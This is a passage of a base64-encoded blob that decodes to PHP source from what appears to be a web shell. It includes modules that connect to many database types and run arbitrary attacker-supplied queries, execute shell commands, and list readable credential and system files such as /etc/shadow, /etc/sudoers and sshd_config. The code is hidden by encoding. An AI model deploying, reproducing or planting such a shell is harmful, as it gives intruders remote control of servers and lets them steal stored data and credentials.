ZGJjX2ZldGNoX2FycmF5KCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGRvJykgcmV0dXJuICRyZXN1bHQtPmZldGNoKDIpOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfY2xvc2UnKSl7CglmdW5jdGlvbiBzcWxfY2xvc2UoJHNxbHR5cGUsJGNvbil7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiAkY29uLT5jbG9zZSgpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jbG9zZScpKSByZXR1cm4gbXlzcWxfY2xvc2UoJGNvbik7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfY2xvc2UnKSkgcmV0dXJuIHNxbHNydl9jbG9zZSgkY29uKTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY2xvc2UnKSkgcmV0dXJuIG1zc3FsX2Nsb3NlKCRjb24pOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2Nsb3NlKCRjb24pOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9jbG9zZSgkY29uKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJGNvbi0+Y2xvc2UoKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfY2xvc2UoJGNvbik7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfY2xvc2UoJGNvbik7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJGNvbiA9IG51bGw7Cgl9Cn0KCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3NxbF9nZXRfc3VwcG9ydGVkJykpewoJZnVuY3Rpb24gc3FsX2dldF9zdXBwb3J0ZWQoKXsKCQkkZGJfc3VwcG9ydGVkID0gYXJyYXkoKTsKCgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdteXNxbCc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJtc3NxbF9jb25uZWN0IikgfHwgZnVuY3Rpb25fZXhpc3RzKCJzcWxzcnZfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAnbXNzcWwnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygicGdfY29ubmVjdCIpKSAkZGJfc3VwcG9ydGVkW10gPSAncGdzcWwnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygib2NpX2Nvbm5lY3QiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ29yYWNsZSc7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCJzcWxpdGVfb3BlbiIpKSAkZGJfc3VwcG9ydGVkW10gPSAnc3FsaXRlJzsKCQlpZihjbGFzc19leGlzdHMoIlNRTGl0ZTMiKSkgJGRiX3N1cHBvcnRlZFtdID0gJ3NxbGl0ZTMnOwoJCWlmKGZ1bmN0aW9uX2V4aXN0cygib2RiY19jb25uZWN0IikpICRkYl9zdXBwb3J0ZWRbXSA9ICdvZGJjJzsKCQlpZihjbGFzc19leGlzdHMoIlBETyIpKSAkZGJfc3VwcG9ydGVkW10gPSAncGRvJzsKCgkJcmV0dXJuIGltcGxvZGUoIiwiLCAkZGJfc3VwcG9ydGVkKTsKCX0KfQoKaWYoaXNzZXQoJHBbJ2RiR2V0U3VwcG9ydGVkJ10pKXsKCSRyZXMgPSBzcWxfZ2V0X3N1cHBvcnRlZCgpOwoJaWYoZW1wdHkoJHJlcykpICRyZXMgPSAiZXJyb3IiOwoJb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsnZGJUeXBlJ10pJiZpc3NldCgkcFsnZGJIb3N0J10pJiZpc3NldCgkcFsnZGJVc2VyJ10pJiZpc3NldCgkcFsnZGJQYXNzJ10pJiZpc3NldCgkcFsnZGJQb3J0J10pKXsKCSR0eXBlID0gJHBbJ2RiVHlwZSddOwoJJGhvc3QgPSAkcFsnZGJIb3N0J107CgkkdXNlciA9ICRwWydkYlVzZXInXTsKCSRwYXNzID0gJHBbJ2RiUGFzcyddOwoJJHBvcnQgPSAkcFsnZGJQb3J0J107CgoJJGNvbiA9IHNxbF9jb25uZWN0KCR0eXBlICwkaG9zdCAsICR1c2VyICwgJHBhc3MpOwoJJHJlcyA9ICIiOwoKCWlmKCRjb24hPT1mYWxzZSl7CgkJaWYoaXNzZXQoJHBbJ2RiUXVlcnknXSkpewoJCQkkcXVlcnkgPSAkcFsnZGJRdWVyeSddOwoJCQkkcGFnaW5hdGlvbiA9ICIiOwoJCQlpZigoaXNzZXQoJHBbJ2RiREInXSkpJiYoaXNzZXQoJHBbJ2RiVGFibGUnXSkpKXsKCQkJCSRkYiA9IHRyaW0oJHBbJ2RiREInXSk7CgkJCQkkdGFibGUgPSB0cmltKCRwWydkYlRhYmxlJ10pOwoJCQkJJHN0YXJ0ID0gKGludCkgKGlzc2V0KCRwWydkYlN0YXJ0J10pKT8gdHJpbSgkcFsnZGJTdGFydCddKTowOwoJCQkJJGxpbWl0ID0gKGludCkgKGlzc2V0KCRwWydkYkxpbWl0J10pKT8gdHJpbSgkcFsnZGJMaW1pdCddKToxMDA7CgoJCQkJaWYoJHR5cGU9PSdteXNxbCcpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJGxpbWl0LiI7IjsKCQkJCX0KCQkJCWVsc2VpZigkdHlwZT09J21zc3FsJyl7CgkJCQkJJHF1ZXJ5ID0gIlNFTEVDVCBUT1AgIi4kbGltaXQuIiAqIEZST00gIi4kZGIuIi4uIi4kdGFibGUuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0ncGdzcWwnKXsKCQkJCQkkcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgIi4kbGltaXQuIiBPRkZTRVQgIi4kc3RhcnQuIjsiOwoJCQkJfQoJCQkJZWxzZWlmKCR0eXBlPT0nb3JhY2xlJyl7CgkJCQkJJGxpbWl0ID0gJHN0YXJ0ICsgJGxpbWl0OwoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBXSEVSRSBST1dOVU0gQkVUV0VFTiAiLiRzdGFydC4iIEFORCAiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlaWYoJHR5cGU9PSdzcWxpdGUnIHx8ICR0eXBlPT0nc3FsaXRlMycpewoJCQkJCSRxdWVyeSA9ICJTRUxFQ1QgKiBGUk9NICIuJHRhYmxlLiIgTElNSVQgIi4kc3RhcnQuIiwiLiRsaW1pdC4iOyI7CgkJCQl9CgkJCQllbHNlICRxdWVyeSA9ICIiOwoKCQkJCSRwYWdpbmF0aW9uID0gIkxpbWl0IDxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZGJMaW1pdCcgdmFsdWU9JyIuaHRtbF9zYWZlKCRsaW1pdCkuIicgc3R5bGU9J3dpZHRoOjUwcHg7Jz4KCQkJCQkJCQk8c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfcGFnaW5hdGlvbigncHJldicpO1wiPnByZXY8L3NwYW4+CgkJCQkJCQkJPHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cImRiX3BhZ2luYXRpb24oJ25leHQnKTtcIj5uZXh0PC9zcGFuPgoJCQkJCQkJCTxpbnB1dCB0eXBlPSdoaWRkZW4nIGlkPSdkYkRCJyB2YWx1ZT0nIi5odG1sX3NhZmUoJGRiKS4iJz4KCQkJCQkJCQk8aW5wdXQgdHlwZT0naGlkZGVuJyBpZD0nZGJUYWJsZScgdmFsdWU9JyIuaHRtbF9zYWZlKCR0YWJsZSkuIic+CgkJCQkJCQkJPGlucHV0IHR5cGU9J2hpZGRlbicgaWQ9J2RiU3RhcnQnIHZhbHVlPSciLmh0bWxfc2FmZSgkc3RhcnQpLiInPgoJCQkJCQkJCSI7CgkJCX0KCgkJCSRxdWVyeXMgPSBleHBsb2RlKCI7IiwgJHF1ZXJ5KTsKCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRxdWVyeSl7CgkJCQlpZih0cmltKCRxdWVyeSkgIT0gIiIpewoJCQkJCSRxdWVyeV9xdWVyeSA9IHNxbF9xdWVyeSgkdHlwZSwgJHF1ZXJ5LCAkY29uKTsKCQkJCQlpZigkcXVlcnlfcXVlcnkhPWZhbHNlKXsKCQkJCQkJJHJlcyAuPSAiPHA+Ii5odG1sX3NhZmUoJHF1ZXJ5KS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdzdHJvbmcnPls8L3NwYW4+IG9rIDxzcGFuIGNsYXNzPSdzdHJvbmcnPl08L3NwYW4+PC9wPiI7CgkJCQkJCWlmKCFlbXB0eSgkcGFnaW5hdGlvbikpewoJCQkJCQkJJHJlcyAuPSAiPHA+Ii4kcGFnaW5hdGlvbi4iPC9wPiI7CgkJCQkJCX0KCQkJCQkJaWYoIWlzX2Jvb2woJHF1ZXJ5X3F1ZXJ5KSl7CgkJCQkJCQkkcmVzIC49ICI8dGFibGUgY2xhc3M9J2JvcmRlciBkYXRhVmlldyBzb3J0YWJsZSB0YmxSZXN1bHQnPjx0cj4iOwoJCQkJCQkJZm9yKCRpID0gMDsgJGkgPCBzcWxfbnVtX2ZpZWxkcygkdHlwZSwgJHF1ZXJ5X3F1ZXJ5KTsgJGkrKykKCQkJCQkJCQkkcmVzIC49ICI8dGg+Ii5odG1sX3NhZmUoc3FsX2ZpZWxkX25hbWUoJHR5cGUsICRxdWVyeV9xdWVyeSwgJGkpKS4iPC90aD4iOwoJCQkJCQkJJHJlcyAuPSAiPC90cj4iOwoJCQkJCQkJd2hpbGUoJHJvd3MgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3F1ZXJ5KSl7CgkJCQkJCQkJJHJlcyAuPSAiPHRyPiI7CgkJCQkJCQkJZm9yZWFjaCgkcm93cyBhcyAkcil7CgkJCQkJCQkJCWlmKGVtcHR5KCRyKSkgJHIgPSAiICI7CgkJCQkJCQkJCSRyZXMgLj0gIjx0ZD4iLmh0bWxfc2FmZSgkcikuIjwvdGQ+IjsKCQkJCQkJCQl9CgkJCQkJCQkJJHJlcyAuPSAiPC90cj4iOwoJCQkJCQkJfQoJCQkJCQkJJHJlcyAuPSAiPC90YWJsZT4iOwoJCQkJCQl9CgkJCQkJfQoJCQkJCWVsc2V7CgkJCQkJCSRyZXMgLj0gIjxwPiIuaHRtbF9zYWZlKCRxdWVyeSkuIjsmbmJzcDsmbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nc3Ryb25nJz5bPC9zcGFuPiBlcnJvciA8c3BhbiBjbGFzcz0nc3Ryb25nJz5dPC9zcGFuPjwvcD4iOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQllbHNlewoJCQlpZigoJHR5cGUhPSdwZG8nKSAmJiAoJHR5cGUhPSdvZGJjJykpewoJCQkJaWYoJHR5cGU9PSdteXNxbCcpICRzaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOwoJCQkJZWxzZWlmKCR0eXBlPT0nbXNzcWwnKSAkc2hvd2RiID0gIlNFTEVDVCBuYW1lIEZST00gbWFzdGVyLi5zeXNkYXRhYmFzZXMiOwoJCQkJZWxzZWlmKCR0eXBlPT0ncGdzcWwnKSAkc2hvd2RiID0gIlNFTEVDVCBzY2hlbWFfbmFtZSBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSI7CgkJCQllbHNlaWYoJHR5cGU9PSdvcmFjbGUnKSAkc2hvd2RiID0gIlNFTEVDVCBVU0VSTkFNRSBGUk9NIFNZUy5BTExfVVNFUlMgT1JERVIgQlkgVVNFUk5BTUUiOwoJCQkJZWxzZWlmKCgkdHlwZT09J3NxbGl0ZTMnKSB8fCAoJHR5cGU9PSdzcWxpdGUnKSkgJHNob3dkYiA9ICJTRUxFQ1QgXCIiLiRob3N0LiJcIiI7CgkJCQllbHNlICRzaG93ZGIgPSAiU0hPVyBEQVRBQkFTRVMiOwoKCQkJCSRxdWVyeV9kYiA9IHNxbF9xdWVyeSgkdHlwZSwgJHNob3dkYiwgJGNvbik7CgoJCQkJaWYoJHF1ZXJ5X2RiIT1mYWxzZSkgewoJCQkJCXdoaWxlKCRkYl9hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X2RiKSl7CgkJCQkJCWZvcmVhY2goJGRiX2FyciBhcyAkZGIpewoJCQkJCQkJaWYoJHR5cGU9PSdteXNxbCcpICRzaG93dGJsID0gIlNIT1cgVEFCTEVTIEZST00gIi4kZGI7CgkJCQkJCQllbHNlaWYoJHR5cGU9PSdtc3NxbCcpICRzaG93dGJsID0gIlNFTEVDVCBuYW1lIEZST00gIi4kZGIuIi4uc3lzb2JqZWN0cyBXSEVSRSB4dHlwZSA9ICdVJyI7CgkJCQkJCQllbHNlaWYoJHR5cGU9PSdwZ3NxbCcpICRzaG93dGJsID0gIlNFTEVDVCB0YWJsZV9uYW1lIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyBXSEVSRSB0YWJsZV9zY2hlbWE9JyIuJGRiLiInIjsKCQkJCQkJCWVsc2VpZigkdHlwZT09J29yYWNsZScpICRzaG93dGJsID0gIlNFTEVDVCBUQUJMRV9OQU1FIEZST00gU1lTLkFMTF9UQUJMRVMgV0hFUkUgT1dORVI9JyIuJGRiLiInIjsKCQkJCQkJCWVsc2VpZigoJHR5cGU9PSdzcWxpdGUzJykgfHwgKCR0eXBlPT0nc3FsaXRlJykpICRzaG93dGJsID0gIlNFTEVDVCBuYW1lIEZST00gc3FsaXRlX21hc3RlciBXSEVSRSB0eXBlPSd0YWJsZSciOwoJCQkJCQkJZWxzZSAkc2hvd3RibCA9ICIiOwoKCQkJCQkJCSRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZSBib3hOYXYnIHN0eWxlPSdwYWRkaW5nOjhweCAzMnB4O21hcmdpbi1ib3R0b206NHB4Oyc+Ii4kZGIuIjwvcD48dGFibGUgY2xhc3M9J2JvcmRlcicgc3R5bGU9J2Rpc3BsYXk6bm9uZTttYXJnaW46OHB4IDA7Jz4iOwoJCQkJCQkJJHF1ZXJ5X3RhYmxlID0gc3FsX3F1ZXJ5KCR0eXBlLCAkc2hvd3RibCwgJGNvbik7CgoJCQkJCQkJaWYoJHF1ZXJ5X3RhYmxlIT1mYWxzZSl7CgkJCQkJCQkJd2hpbGUoJHRhYmxlc19hcnIgPSBzcWxfZmV0Y2hfZGF0YSgkdHlwZSwgJHF1ZXJ5X3RhYmxlKSl7CgkJCQkJCQkJCWZvcmVhY2goJHRhYmxlc19hcnIgYXMgJHRhYmxlKSAkcmVzIC49ICI8dHI+PHRkIGNsYXNzPSdkYlRhYmxlIGJvcmRlcmJvdHRvbScgc3R5bGU9J2N1cnNvcjpwb2ludGVyOyc+Ii4kdGFibGUuIjwvdGQ+PC90cj4iOwoJCQkJCQkJCX0KCQkJCQkJCX0KCQkJCQkJCSRyZXMgLj0gIjwvdGFibGU+IjsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCFlbXB0eSgkcmVzKSkgb3V0cHV0KCRyZXMpOwoJb3V0cHV0KCdlcnJvcicpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ2luZm8nXVsnaWQnXSA9ICJpbmZvIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ3RpdGxlJ10gPSAiSW5mbyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnaW5mbyddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiIjsKJEdMT0JBTFNbJ21vZHVsZSddWydpbmZvJ11bJ2NvbnRlbnQnXSA9ICI8ZGl2IGNsYXNzPSdib3JkZXIgaW5mb1Jlc3VsdCc+PC9kaXY+IjsKCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2luZm9fZ2V0aW5mbycpKXsKCWZ1bmN0aW9uIGluZm9fZ2V0aW5mbygpewoJCSRyZXMgPSAiIjsKCQkvLyBzZXJ2ZXIgbWlzYyBpbmZvCgkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fc2VydmVyJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+U2VydmVyIEluZm88L3A+IjsKCQkkcmVzIC49ICI8ZGl2IGlkPSdpbmZvX3NlcnZlcicgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgoJCWlmKGlzX3dpbigpKXsKCQkJZm9yZWFjaCAocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpewoJCQkJaWYoaXNfcmVhZGFibGUoJGxldHRlci4iOlxcIikpewoJCQkJCSRkcml2ZSA9ICRsZXR0ZXIuIjoiOwoJCQkJCSRyZXMgLj0gIjx0cj48dGQ+ZHJpdmUgIi4kZHJpdmUuIjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCRkcml2ZSkpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoJGRyaXZlKSkuIjwvdGQ+PC90cj4iOwoJCQkJfQoJCQl9CgkJfQoJCWVsc2UgJHJlcyAuPSAiPHRyPjx0ZD5yb290IHBhcnRpdGlvbjwvdGQ+PHRkPiIuZm9ybWF0X2JpdChAZGlza19mcmVlX3NwYWNlKCIvIikpLiIgZnJlZSBvZiAiLmZvcm1hdF9iaXQoQGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvdGQ+PC90cj4iOwoKCQkkcmVzIC49ICI8dHI+PHRkPnBocDwvdGQ+PHRkPiIucGhwdmVyc2lvbigpLiI8L3RkPjwvdHI+IjsKCQkkYWNjZXNzID0gYXJyYXkoInB5dGhvbiI9PiJweXRob24gLVYiLAoJCQkJCQkicGVybCI9PiJwZXJsIC1lIFwicHJpbnQgXCRdXCIiLAoJCQkJCQkicHl0aG9uIj0+InB5dGhvbiAtViIsCgkJCQkJCSJydWJ5Ij0+InJ1YnkgLXYiLAoJCQkJCQkibm9kZSI9PiJub2RlIC12IiwKCQkJCQkJIm5vZGVqcyI9PiJub2RlanMgLXYiLAoJCQkJCQkiZ2NjIj0+ImdjYyAtZHVtcHZlcnNpb24iLAoJCQkJCQkiamF2YSI9PiJqYXZhIC12ZXJzaW9uIiwKCQkJCQkJImphdmFjIj0+ImphdmFjIC12ZXJzaW9uIgoJCQkJCQkpOwoKCQlmb3JlYWNoKCRhY2Nlc3MgYXMgJGs9PiR2KXsKCQkJJHZlcnNpb24gPSBleGVjdXRlKCR2KTsKCQkJJHZlcnNpb24gPSBleHBsb2RlKCJcbiIsICR2ZXJzaW9uKTsKCQkJaWYoJHZlcnNpb25bMF0pICR2ZXJzaW9uID0gJHZlcnNpb25bMF07CgkJCWVsc2UgJHZlcnNpb24gPSAiPyI7CgoJCQkkcmVzIC49ICI8dHI+PHRkPiIuJGsuIjwvdGQ+PHRkPiIuJHZlcnNpb24uIjwvdGQ+PC90cj4iOwoJCX0KCgkJaWYoIWlzX3dpbigpKXsKCQkJJGludGVyZXN0aW5nID0gYXJyYXkoCgkJCSIvZXRjL29zLXJlbGVhc2UiLCAiL2V0Yy9wYXNzd2QiLCAiL2V0Yy9zaGFkb3ciLCAiL2V0Yy9ncm91cCIsICIvZXRjL2lzc3VlIiwgIi9ldGMvaXNzdWUubmV0IiwgIi9ldGMvbW90ZCIsICIvZXRjL3N1ZG9lcnMiLCAiL2V0Yy9ob3N0cyIsICIvZXRjL2FsaWFzZXMiLAoJCQkiL3Byb2MvdmVyc2lvbiIsICIvZXRjL3Jlc29sdi5jb25mIiwgIi9ldGMvc3lzY3RsLmNvbmYiLAoJCQkiL2V0Yy9uYW1lZC5jb25mIiwgIi9ldGMvbmV0d29yay9pbnRlcmZhY2VzIiwgIi9ldGMvc3F1aWQvc3F1aWQuY29uZiIsICIvdXNyL2xvY2FsL3NxdWlkL2V0Yy9zcXVpZC5jb25mIiwKCQkJIi9ldGMvc3NoL3NzaGRfY29uZmlnIiwKCQkJIi9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIiwgIi91c3IvbG9jYWwvYXBhY2hlMi9jb25mL2h0dHBkLmNvbmYiLCAiIC9ldGMvYXBhY2hlMi9hcGFjaGUyLmNvbmYiLCAiL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Vzci9wa2cvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLCAiL3Vzci9sb2NhbC9ldGMvYXBhY2hlMjIvaHR0cGQuY29uZiIsICIvdXNyL2xvY2FsL2V0Yy9hcGFjaGUyL2h0dHBkLmNvbmYiLCAiL3Zhci93d3cvY29uZi9odHRwZC5jb25mIiwgIi9ldGMvYXBhY2hlMi9odHRwZDIuY29uZiIsICIvZXRjL2h0dHBkL2h0dHBkLmNvbmYiLAoJCQkiL2V0Yy9saWdodHRwZC9saWdodHRwZC5jb25mIiwgIi9ldGMvbmdpbngvbmdpbnguY29uZiIsCgkJCSIvZXRjL2ZzdGFiIiwgIi9ldGMvbXRhYiIsICIvZXRjL2Nyb250YWIiLCAiL2V0Yy9pbml0dGFiIiwgIi9ldGMvbW9kdWxlcy5jb25mIiwgIi9ldGMvbW9kdWxlcyIpOwoJCQlmb3JlYWNoKCRpbnRlcmVzdGluZyBhcyAkZil7CgkJCQlpZihAaXNfZmlsZSgkZikgJiYgQGlzX3JlYWRhYmxlKCRmKSkgJHJlcyAuPSAiPHRyPjx0ZD4iLiRmLiI8L3RkPjx0ZD48YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRmKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii4kZi4iIGlzIHJlYWRhYmxlPC9hPjwvdGQ+PC90cj4iOwoJCQl9CgkJfQoJCSRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsKCgkJaWYoIWlzX3dpbigpKXsKCQkJLy8gY3B1IGluZm8KCQkJaWYoJGlfYnVmZj10cmltKHJlYWRfZmlsZSgiL3Byb2MvY3B1aW5mbyIpKSl7CgkJCQkkcmVzIC49ICI8cCBjbGFzcz0nYm94dGl0bGUnIG9uY2xpY2s9XCJpbmZvX3RvZ2dsZSgnaW5mb19jcHUnKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz5DUFUgSW5mbzwvcD4iOwoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fY3B1JyBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7ZGlzcGxheTpub25lOyc+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG5cbiIsICRpX2J1ZmYpOwoJCQkJZm9yZWFjaCgkaV9idWZmcyBhcyAkaV9idWZmc3MpewoJCQkJCSRpX2J1ZmZzcyA9IHRyaW0oJGlfYnVmZnNzKTsKCQkJCQlpZigkaV9idWZmc3MhPSIiKXsKCQkJCQkJJGlfYnVmZnNzcyA9IGV4cGxvZGUoIlxuIiwgJGlfYnVmZnNzKTsKCQkJCQkJJHJlcyAuPSAiPHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsKCQkJCQkJZm9yZWFjaCgkaV9idWZmc3NzIGFzICRpKXsKCQkJCQkJCSRpID0gdHJpbSgkaSk7CgkJCQkJCQlpZigkaSE9IiIpewoJCQkJCQkJCSRpaSA9IGV4cGxvZGUoIjoiLCRpKTsKCQkJCQkJCQlpZihjb3VudCgkaWkpPT0yKSAkcmVzIC49ICI8dHI+PHRkPiIuJGlpWzBdLiI8L3RkPjx0ZD4iLiRpaVsxXS4iPC90ZD48L3RyPiI7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJJHJlcyAuPSAiPC90YWJsZT4iOwoJCQkJCX0KCQkJCX0KCQkJCSRyZXMgLj0gIjwvZGl2PiI7CgkJCX0KCgkJCS8vIG1lbSBpbmZvCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL21lbWluZm8iKSkpewoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fbWVtJyk7XCIgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4Oyc+TWVtb3J5IEluZm88L3A+IjsKCQkJCSRpX2J1ZmZzID0gZXhwbG9kZSgiXG4iLCAkaV9idWZmKTsKCQkJCSRyZXMgLj0gIjxkaXYgY2xhc3M9J2luZm8nIGlkPSdpbmZvX21lbScgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPiI7CgkJCQlmb3JlYWNoKCRpX2J1ZmZzIGFzICRpKXsKCQkJCQkkaSA9IHRyaW0oJGkpOwoJCQkJCWlmKCRpIT0iIil7CgkJCQkJCSRpaSA9IGV4cGxvZGUoIjoiLCRpKTsKCQkJCQkJaWYoY291bnQoJGlpKT09MikgJHJlcyAuPSAiPHRyPjx0ZD4iLiRpaVswXS4iPC90ZD48dGQ+Ii4kaWlbMV0uIjwvdGQ+PC90cj4iOwoJCQkJCX0KCQkJCQllbHNlICRyZXMgLj0gIjwvdGFibGU+PHRhYmxlIGNsYXNzPSdkYXRhVmlldyc+IjsKCQkJCX0KCQkJCSRyZXMgLj0gIjwvdGFibGU+PC9kaXY+IjsKCQkJfQoKCQkJLy8gcGFydGl0aW9uCgkJCWlmKCRpX2J1ZmY9dHJpbShyZWFkX2ZpbGUoIi9wcm9jL3BhcnRpdGlvbnMiKSkpewoJCQkJJGlfYnVmZiA9IHByZWdfcmVwbGFjZSgiL1wgKy8iLCAiICIsICRpX2J1ZmYpOwoJCQkJJHJlcyAuPSAiPHAgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiaW5mb190b2dnbGUoJ2luZm9fcGFydCcpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPlBhcnRpdGlvbnMgSW5mbzwvcD4iOwoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9J2luZm9fcGFydCcgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPiI7CgkJCQkkaV9idWZmcyA9IGV4cGxvZGUoIlxuXG4iLCAkaV9idWZmKTsKCQkJCSRyZXMgLj0gIjx0YWJsZSBjbGFzcz0nZGF0YVZpZXcnPjx0cj4iOwoJCQkJJGlfaGVhZCA9IGV4cGxvZGUoIiAiLCAkaV9idWZmc1swXSk7CgkJCQlmb3JlYWNoKCRpX2hlYWQgYXMgJGgpICRyZXMgLj0gIjx0aD4iLiRoLiI8L3RoPiI7CgkJCQkkcmVzIC49ICI8L3RyPiI7CgkJCQkkaV9idWZmc3MgPSBleHBsb2RlKCJcbiIsICRpX2J1ZmZzWzFdKTsKCQkJCWZvcmVhY2goJGlfYnVmZnNzIGFzICRpX2IpewoJCQkJCSRpX3JvdyA9IGV4cGxvZGUoIiAiLCB0cmltKCRpX2IpKTsKCQkJCQkkcmVzIC49ICI8dHI+IjsKCQkJCQlmb3JlYWNoKCRpX3JvdyBhcyAkcikgJHJlcyAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJHIuIjwvdGQ+IjsKCQkJCQkkcmVzIC49ICI8L3RyPiI7CgkJCQl9CgkJCQkkcmVzIC49ICI8L3RhYmxlPiI7CgkJCQkkcmVzIC49ICI8L2Rpdj4iOwoJCQl9CgkJfQoJCSRwaHBpbmZvID0gYXJyYXkoIlBIUCBHZW5lcmFsIiA9PiBJTkZPX0dFTkVSQUwsICJQSFAgQ29uZmlndXJhdGlvbiIgPT4gSU5GT19DT05GSUdVUkFUSU9OLCAiUEhQIE1vZHVsZXMiID0+IElORk9fTU9EVUxFUywgIlBIUCBFbnZpcm9ubWVudCIgPT4gSU5GT19FTlZJUk9OTUVOVCwgIlBIUCBWYXJpYWJsZXMiID0+IElORk9fVkFSSUFCTEVTKTsKCQlmb3JlYWNoKCRwaHBpbmZvIGFzICRwPT4kaSl7CgkJCSRyZXMgLj0gIjxwIGNsYXNzPSdib3h0aXRsZScgb25jbGljaz1cImluZm9fdG9nZ2xlKCciLiRpLiInKTtcIiBzdHlsZT0nbWFyZ2luLWJvdHRvbTo4cHg7Jz4iLiRwLiI8L3A+IjsKCQkJb2Jfc3RhcnQoKTsKCQkJZXZhbCgicGhwaW5mbygiLiRpLiIpOyIpOwoJCQkkYiA9IG9iX2dldF9jb250ZW50cygpOwoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJaWYocHJlZ19tYXRjaCg